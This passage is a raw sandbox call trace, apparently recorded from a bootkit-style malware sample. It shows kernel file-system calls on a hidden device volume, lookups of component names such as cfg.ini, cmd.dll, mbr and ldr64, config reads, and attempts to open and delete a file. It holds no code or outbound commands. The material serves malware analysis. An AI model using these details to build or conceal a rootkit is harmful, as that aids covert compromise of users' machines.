[0117.603] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.603] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.603] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.603] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.603] IdePortDispatch () returned 0x103 [0117.603] KeWaitForMutexObject () returned 0x0 [0117.603] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.603] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.603] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.603] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.603] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.603] IdePortDispatch () returned 0x103 [0117.603] KeWaitForMutexObject () returned 0x0 [0117.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.603] KeLeaveCriticalRegion () [0117.603] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.604] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.604] KeEnterCriticalRegion () [0117.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.604] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.604] KeLeaveCriticalRegion () [0117.604] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.604] KeEnterCriticalRegion () [0117.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.604] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.604] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.604] KeLeaveCriticalRegion () [0117.604] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.604] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.604] KeEnterCriticalRegion () [0117.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.604] ExFreePoolWithTag (P=0xfffffa80039da7e0, Tag=0x0) [0117.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.604] KeLeaveCriticalRegion () [0117.604] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.604] ReleaseMutex (hMutex=0xf0) returned 1 [0117.604] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.604] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.604] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.604] KeEnterCriticalRegion () [0117.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.604] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.604] IdePortDispatch () returned 0x103 [0117.604] KeWaitForMutexObject () returned 0x0 [0117.604] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.605] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.605] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.605] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.605] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.605] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da530 [0117.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.605] KeLeaveCriticalRegion () [0117.605] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.605] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.605] KeEnterCriticalRegion () [0117.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.605] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.605] KeLeaveCriticalRegion () [0117.605] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.605] KeEnterCriticalRegion () [0117.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.605] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.605] IdePortDispatch () returned 0x103 [0117.605] KeWaitForMutexObject () returned 0x0 [0117.605] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.605] KeLeaveCriticalRegion () [0117.605] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.605] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.605] KeEnterCriticalRegion () [0117.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.605] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cda000 [0117.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.605] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.605] IdePortDispatch () returned 0x103 [0117.606] KeWaitForMutexObject () returned 0x0 [0117.606] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.606] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.606] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.606] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.606] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.606] IdePortDispatch () returned 0x103 [0117.606] KeWaitForMutexObject () returned 0x0 [0117.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.606] KeLeaveCriticalRegion () [0117.606] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.606] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.606] KeEnterCriticalRegion () [0117.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.606] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.606] KeLeaveCriticalRegion () [0117.607] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.607] KeEnterCriticalRegion () [0117.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.607] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.607] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039da5f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.607] KeLeaveCriticalRegion () [0117.607] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.607] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.607] KeEnterCriticalRegion () [0117.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.607] ExFreePoolWithTag (P=0xfffffa80039da530, Tag=0x0) [0117.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.607] KeLeaveCriticalRegion () [0117.607] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.607] ReleaseMutex (hMutex=0xf0) returned 1 [0117.607] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.607] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.607] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.607] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.607] KeEnterCriticalRegion () [0117.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.607] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.607] IdePortDispatch () returned 0x103 [0117.607] KeWaitForMutexObject () returned 0x0 [0117.607] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.607] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.607] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.607] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.607] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.607] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.607] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.607] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.607] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.607] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.607] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.608] KeLeaveCriticalRegion () [0117.608] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.608] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.608] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.608] KeEnterCriticalRegion () [0117.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.608] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.608] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.608] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.608] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.608] IdePortDispatch () returned 0x103 [0117.608] KeWaitForMutexObject () returned 0x0 [0117.608] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.608] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.608] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.608] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.608] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.608] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.608] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.608] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.608] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.608] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.608] KeLeaveCriticalRegion () [0117.608] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.608] ReleaseMutex (hMutex=0x100) returned 1 [0117.608] Sleep (dwMilliseconds=0x2bf20) [0117.615] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x694bb5f0, dwHighDateTime=0x1d24fa4)) [0117.615] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.615] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.615] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.615] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.615] KeEnterCriticalRegion () [0117.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.615] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.615] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.615] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.615] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.615] IdePortDispatch () returned 0x103 [0117.615] KeWaitForMutexObject () returned 0x0 [0117.615] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.615] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.615] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.615] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.615] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.615] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da8f0 [0117.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.615] KeLeaveCriticalRegion () [0117.615] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.615] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.615] KeEnterCriticalRegion () [0117.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.615] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.615] KeLeaveCriticalRegion () [0117.615] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.615] KeEnterCriticalRegion () [0117.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.615] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.616] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.616] IdePortDispatch () returned 0x103 [0117.616] KeWaitForMutexObject () returned 0x0 [0117.616] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.616] KeLeaveCriticalRegion () [0117.616] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.616] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.616] KeEnterCriticalRegion () [0117.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.616] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdd000 [0117.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.616] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.617] IdePortDispatch () returned 0x103 [0117.617] KeWaitForMutexObject () returned 0x0 [0117.617] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.617] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.617] IdePortDispatch () returned 0x103 [0117.617] KeWaitForMutexObject () returned 0x0 [0117.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.617] KeLeaveCriticalRegion () [0117.617] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.617] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.617] KeEnterCriticalRegion () [0117.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.618] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.618] KeLeaveCriticalRegion () [0117.618] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.618] KeEnterCriticalRegion () [0117.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.618] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.618] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039da2a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.618] KeLeaveCriticalRegion () [0117.618] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.618] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.618] KeEnterCriticalRegion () [0117.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.618] ExFreePoolWithTag (P=0xfffffa80039da8f0, Tag=0x0) [0117.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.618] KeLeaveCriticalRegion () [0117.618] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.618] ReleaseMutex (hMutex=0xf0) returned 1 [0117.618] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.618] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.618] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.618] KeEnterCriticalRegion () [0117.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.618] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.618] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.618] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.618] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.618] IdePortDispatch () returned 0x103 [0117.618] KeWaitForMutexObject () returned 0x0 [0117.618] _strnicmp 